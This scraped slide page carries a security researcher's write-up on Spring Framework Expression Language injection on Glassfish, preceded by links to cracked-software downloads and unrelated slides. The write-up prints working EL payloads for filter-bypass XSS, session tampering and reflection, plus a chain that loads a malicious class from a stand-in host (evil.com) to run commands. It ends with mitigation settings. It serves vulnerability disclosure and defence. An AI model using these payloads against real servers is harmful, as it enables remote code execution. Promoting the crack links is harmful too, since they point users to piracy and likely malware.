Total Video Downloader Crack Latest [2025-MAY]
Total Video Downloader Crack Latest [2025-MAY]Total Video Downloader Crack Latest [2025-MAY]
Total Video Downloader Crack Latest [2025-MAY]
poyeheh550
 
Latest Capcut Pro 2025 Crack Version For PC {Fully-250324101644-ba1d95f1-2503...
Latest Capcut Pro 2025 Crack Version For PC {Fully-250324101644-ba1d95f1-2503...Latest Capcut Pro 2025 Crack Version For PC {Fully-250324101644-ba1d95f1-2503...
Latest Capcut Pro 2025 Crack Version For PC {Fully-250324101644-ba1d95f1-2503...
abbaskanju3
 
Canva Crack for Windows Latest Version [Updated]
Canva Crack for Windows Latest Version [Updated]Canva Crack for Windows Latest Version [Updated]
Canva Crack for Windows Latest Version [Updated]
hk7720889
 
VICTORIA TERMINUS & Mysuru Railway Station Architecture.pptx
VICTORIA TERMINUS & Mysuru Railway Station Architecture.pptxVICTORIA TERMINUS & Mysuru Railway Station Architecture.pptx
VICTORIA TERMINUS & Mysuru Railway Station Architecture.pptx
PrajwalKB2
 
codes and conventions of fashion magazines.pptx
codes and conventions of fashion magazines.pptxcodes and conventions of fashion magazines.pptx
codes and conventions of fashion magazines.pptx
fleurdebruxelles11
 
content creator passionate about architecture, culture, and design.
content creator passionate about architecture, culture, and design.content creator passionate about architecture, culture, and design.
content creator passionate about architecture, culture, and design.
Suma Angari
 
Girl Pow-R pilot storyboard - by Camila Umana
Girl Pow-R pilot storyboard - by Camila UmanaGirl Pow-R pilot storyboard - by Camila Umana
Girl Pow-R pilot storyboard - by Camila Umana
CamilaUmaa7
 
MODULE 1&2 22-SCHEME by vemana institute of technology in Bangalore Karnataka...
MODULE 1&2 22-SCHEME by vemana institute of technology in Bangalore Karnataka...MODULE 1&2 22-SCHEME by vemana institute of technology in Bangalore Karnataka...
MODULE 1&2 22-SCHEME by vemana institute of technology in Bangalore Karnataka...
SyedRaqib5
 
Enscape 3D 3.5.5 Crack + License key 2025
Enscape 3D 3.5.5 Crack + License key 2025Enscape 3D 3.5.5 Crack + License key 2025
Enscape 3D 3.5.5 Crack + License key 2025
hk7720889
 

Remote code-with-expression-language-injection

  • 1. Remote Code with Expression Language Injection Discovering a Spring Framework Vulnerability - DanAmodio More than 22,000 organizations worldwide have downloaded 1.314 million outdated instances of Spring Framework, which may be putting businesses at risk. In 2011, Stefano Di Paola of Minded Security and Arshan Dabirsiaghi from Aspect Security discovered an interesting pattern in the Spring Framework, which Stefano coined Expression Language (EL) Injection [PDF] [Advisory]. Their discovery revealed that certain Spring tags which double interpret Expression Language can be used to expose sensitive data stored on the server. This is because Spring provides EL support independent of the JSP/Servlet container, as a means for backwards compatibility, since, prior to JSP 2.0, Expression Language wasn’t supported. This functionality is currently turned on by default, and applications that use the patterns described herein are vulnerable. While it’s difficult to quantify the depth and breadth of this problem since every application will not be vulnerable as is the case with reflected XSS, we do know, according to recent statistics from Sonatype, that more than 22,000 organizations worldwide have downloaded over 1.314 million individual Spring 3.0.5, or prior. Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads. These versions do not support disabling the double EL resolution. The original impact of this issue related to information disclosure, but I’ll illustrate how it can actually be used for remote code execution on Glassfish and potentially other EL 2.2 containers. Here’s an example of what the original information disclosure attack looked like: A request of the form: http://vulnerable.com/foo?message=${applicationScope} to a page that contains:
  • 2. <spring:message text="" code="${param['message']}"></spring:message> will result in output that contains internal server information including the classpath and local working directories. You can also do other useful things like addition: ${9999+1} and access session objects and beans: ${employee.lastName} Discovery While performing a penetration test on a client’s application on Glassfish, I came across this same pattern. Knowing about EL Injection, I did additional testing, confirmed the finding, and moved along; I wanted to unearth the juicy stuff, like XSS. Alas, the application had an input filter blocking my requests, since they stripped all of the ‘<’ and ‘>’ tags. On a whim, I thought: “Since I can string manipulate in Java, why don’t I try and do that in EL and bypass the filter?” So, I attempted the following: http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPPP I noticed that the returned error code shows QQQQQ, because the String.replaceAll method has been called, and the returned text is inserted into the spring:message tag. Here’s the final working vector that bypassed the filter: http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”<”).replaceAll(“Q”,”>”)}&f oo=PscriptQalert(1);P/scriptQ It worked great, and I thought nothing of it for the next hour or so. Then I realized it was really, really, bad. Why was it possible for me to stick methods in EL like this? That begged the question- what other gnarly things can I do? After some research, I learned that the EL 2.2 added support for method invocation.
  • 3. Taking it Further I wrote a quick test application and started checking out some functionality: ${pageContext.request.getSession().setAttribute("account","123456")} ${pageContext.request.getSession().setAttribute("admin",true)} OK, session object modification is a definite risk. I really wanted to touch objects I didn’t have a direct pointer to through the pageContext. Maybe we can use reflection, like String.getClass().forName(string)? ${"".getClass().forName("java.net.Socket").newInstance().connect("127.0.0.1", 1234)} ${"".getClass().forName("java.lang.Runtime")} Wow, there’s no way that should work! This could be disastrous because you can touch just about anything. Unfortunately, it’s not possible to call newInstance() for numerous dangerous classes (like Runtime), as they do not provide default constructors. We were unable to cast objects, and there are some issues with getMethods()[0].invoke() when it requires null or a null array. EL seems to resolve these as a string literal before passing the data to the method. I assume this is due to the method signature invoke(Object obj, Object… args). Jeff Williams (Co-Founder of both Aspect Security and OWASP), Arshan, and I were all scratching our heads trying to make this work. Exploitation After seriously banging my head against the wall, I had exhausted many options. Now that we’re making this public, I hope some of you Java wizards will tell me how ridiculous I was. Here are several of the failed avenues we tried, in an attempt to get this to work:  Write a file to the file system.  Try and load the org.springframework.expression.spel.standard.SpelExpressionParser. I think this would actually work, I just couldn’t find the right class loader. ${pageContext.getClass().getClassLoader().loadClass("org.springframework.expression.s pel.standard.SpelExpressionParser")}
  • 4. javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException: org.springframework.expression.spel.standard.SpelExpressionParser not found by org.glassfish.web.javax.servlet.jsp [194].  Use reflection to modify the java.lang.Runtime.currentRuntime attribute to public.  Use reflection to create a new Runtime (and watch the world burn). ${pageContext.request.getSession().setAttribute("rtc","".getClass().forName("java.lan g.Runtime")).getDeclaredConstructors()[0])} ${pageContext.request.getSession().getAttribute("rtc").setAccessible(true)}  Use java.lang.ProcessBuilder.  Evaluate Expression Language with Expression Language. Expression-ception! I think I was getting crazy by this point. The vector doesn’t really make any sense. ${pageContext.getExpressionEvaluator().parseExpression("pageContext.request","".getCl ass(),null)}  Create an ObjectInputStream, serialize a class, and send it up through a parameter (also a little crazy). We failed many times at passing a null array to Method.invoke(). "".getClass().forName("java.lang.Runtime").getMethods()[5].invoke(param.foo.getClass( ).forName("java.lang.Runtime"),"".getClass().forName("java.util.ArrayList").newInstan ce().toArray()) java.lang.IllegalArgumentException: wrong number of arguments Nope! Finally, I tripped on the answer one evening: I was able to get a URLClassLoader, so I created a malicious class file and pointed the class loader at it. I wrote a Java class that tried to open the calculator application on the server, proving remote code execution: public class Malicious { public Malicious() {
  • 5. try { java.lang.Runtime.getRuntime().exec("open -a Calculator"); //Mac java.lang.Runtime.getRuntime().exec("calc.exe"); //Win } catch (Exception e) { } } } We create an ArrayList that will be used to construct a new URLClassLoader. It needs to be stored in the session so it can be reused. ${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.uti l.ArrayList").newInstance())} URLClassLoader provides a newInstance method, which accepts an array of URL objects. We need to create a new URL that contains the path to our malicious code. The ServletContext can provide us a URL object with the getResource(string) method, but we’re unable to create a new instance directly. However, URI provides a create(string) method which we can call, and then convert to a URL object. ${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletCont ext().getResource("/").toURI().create("http://evil.com/path/to/where/malicious/classf ile/is/located/").toURL())} Then we find a pointer to a URLClassLoader so the newInstance method can be invoked. The malicious class file is loaded and created, triggering remote code. ${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request .getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().get Parent().getURLs())).loadClass("Malicious").newInstance()} Here is my actual celebratory screenshot:
  • 6. Conclusion and Prevention It is difficult to quantify the depth and breadth of this since not every application will be vulnerable as is the case with reflected XSS. Un-validated data has to be passed into one of the vulnerable Spring tags, or otherwise hit an expression interpreter. What we do know, according to recent statistics from Sonatype, is that more than 22,000 organizations, worldwide have downloaded over 1.314 million individual Spring 3.0.5 or prior. These do not support disabling the double EL resolution. It’s time to update your libraries folks! This was all tested on Glassfish 3.1.2.2 with Spring 3.0.6, but Tomcat 7 claims to support the method invocation functionality. It’s also possible this has been specifically retrofitted into older versions by users. As of December 6, 2012, Spring has updated the original CVE to a critical, and will be making the functionality available on an opt-in basis for a future release.
  • 7. Today, you can opt-out with Spring 3.0.6 and above by setting the springJspExpressionSupport context parameter to false in your web.xml. <context-param> <description>Spring Expression Language Support</description> <param-name>springJspExpressionSupport</param-name> <param-value>false</param-value> </context-param> On Spring Framework 3.1 onwards when running on Servlet 3.0 or higher, the functionality should be off by default, but it never hurts to be explicit. @DanAmodio